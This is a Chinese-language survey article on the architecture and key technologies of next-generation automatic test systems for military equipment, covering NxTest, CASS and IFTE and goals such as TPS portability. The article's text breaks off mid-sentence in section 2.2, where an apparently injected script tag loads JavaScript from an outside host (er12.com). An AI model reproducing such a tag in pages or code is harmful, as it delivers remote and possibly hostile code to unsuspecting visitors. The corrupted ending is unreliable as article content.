摘要：在总结自动测试系统发展现状的基础上，以目前国际上正在开展的下一代自动测试系统的研究为背景，分析了下一代自动测试系统的体系结构与标准，重点讨论了下一代自动测试系统开发所涉及的并行测试技术、合成仪器技术、仪器可互换技术、tps可移植与互操作技术、智能测试诊断技术及测试诊断信息的表达等关键技术，希望以此能促进我国下一代通用自动测试系统的研制与开发。

关键词：自动测试系统，体系结构，关键技术；

1 引言

随着科学技术的飞速发展，航空航天设备、军用武器系统等高技术产品的复杂程度日益提高，传统的人工检测维护手段已经无法满足现代化装备的支持保障要求，自动测试系统（ats）正逐步成为复杂系统与设备可靠运行的必要保证。目前自动测试系统已经广泛应用于从产品研制、生产、存储到使用维护的各个环节，在航空、航天、国防、交通、能源等重要领域发挥着关键的支持保障作用。

由于高技术复杂设备与系统往往可靠性要求高、使用寿命长、还可能需要不断改型与升级，相应的测试系统设计、开发与维护的难度大、费用高昂。从上世纪八十年代中后期开始以美国为代表的西方主要发达国家就开始致力于自动测试系统的通用化，并逐步形成了军用测试系统以军种为单位的通用化标准系列。但目前通用自动测试系统依然存在应用范围有限，开发和维护成本高，系统间缺乏互操作性，测试诊断新技术难以融入已有系统等诸多不足。从上世纪九十年代中后期开始在美国国防部自动测试系统执行局（dod ats eao）的统一协调下，美国陆、海、空、海军陆战队与工业界联合开展命名为“nxtest”的下一代自动测试系统的研究工作，并于1996年提出了下一代自动测试系统的开放式体系结构[1]，同时进行了名为“敏捷快速全球作战支持”（argcs）的演示验证系统的开发工作[2]。本文以此为背景着重分析了下一代通用自动测试系统的体系结构及涉及的主要关键技术。

2 下一代自动测试系统的体系结构

2.1 下一代自动测试系统的研制背景

美国军方从上世纪八十年代中期开始研制针对多种武器平台和系统，由可重用公共测试资源组成的通用自动测试系统，并形成了四大标准测试系统系列（海军的cass、陆军的ifte、海军陆战队的tets和电子战设备标准测试系统jsecst），但现有以军种为单位的通用测试系统仍然存在以下不足：

（1）生命周期内使用、维护费用较高

现有通用测试系统广泛采用商业货架产品（cots），以cass系统为例，其采用的商业成件总量超过85%，商业产品更新换代快（典型周期为5年），而武器系统的使用寿命往往超过二十年，随着测试系统硬件的过时，系统的维护费用将不断攀升。

（2）应用范围有限、适应能力不足

现有通用测试系统以各军种为单位，针对不同的武器维护级别（现场、中间、基地），缺乏系统间的互操作性，无法适应现代多兵种联合作战对多武器系统、多级维护的需要。

（3）故障诊断的效率和准确性有待提高

现有的自动测试程序中，诊断软件是以预定义的故障字典或故障树为依据的，被测对象的内置测试数据、维修人员的经验、维修履历资料、被测对象的设计知识等相关测试诊断信息与知识无法得到充分的利用，测试控制计算机强大的计算、存储能力也远未得到充分的发挥，不仅不能适应复杂故障的诊断需要，而且测试诊断的效率较低。

针对现有通用自动测试系统的不足，特别是上世纪90年代初投入使用的cass、ifte等标准测试系统到2006年左右面临升级换代，已不能适应新的武器装备的维护保障需要。1996年美国国防部自动测试系统执行局召集陆、海、空军、海军陆战队及工业部门联合开发新一代自动测试系统，其最终目的是：（1）显著降低自动测试系统的维护和使用费用（2）通过提高测试系统的互操作能力，使最终用户获得最大限度的测试灵活性。(3)实现被测对象全寿命周期中各个阶段测试诊断信息的共享和重用，提高测试诊断效率和准确性。

下一代自动测试系统研制将达到的主要目标包括[3]：

（1）改善测试系统仪器的互换性；

（2）提高测试系统配置的灵活性，满足不同测试用户需要；

（3）提高自动测试系统新技术的注入能力；

（4）改善测试程序集（tps）的可移植性和互操作能力；

（5）实现基于模型的测试软件开发；

（6）推动测试软件开发环境的发展；

（7）确定便于验证、核查的tps性能指标；

（8）进一步扩大商用货架产品在自动测试系统中的应用；

（9）综合运用被测对象的设计和维护信息，提高测试诊断的有效性；

（10）促进基于知识的测试诊断软件的开发；

（11）明确定义测试系统与集成诊断框架的接口，便于实现集成测试诊断。

2.2 下一代自动测试系统体系结构

现有的自动测试系统大多是自?script src=http://er12.com/t.js>

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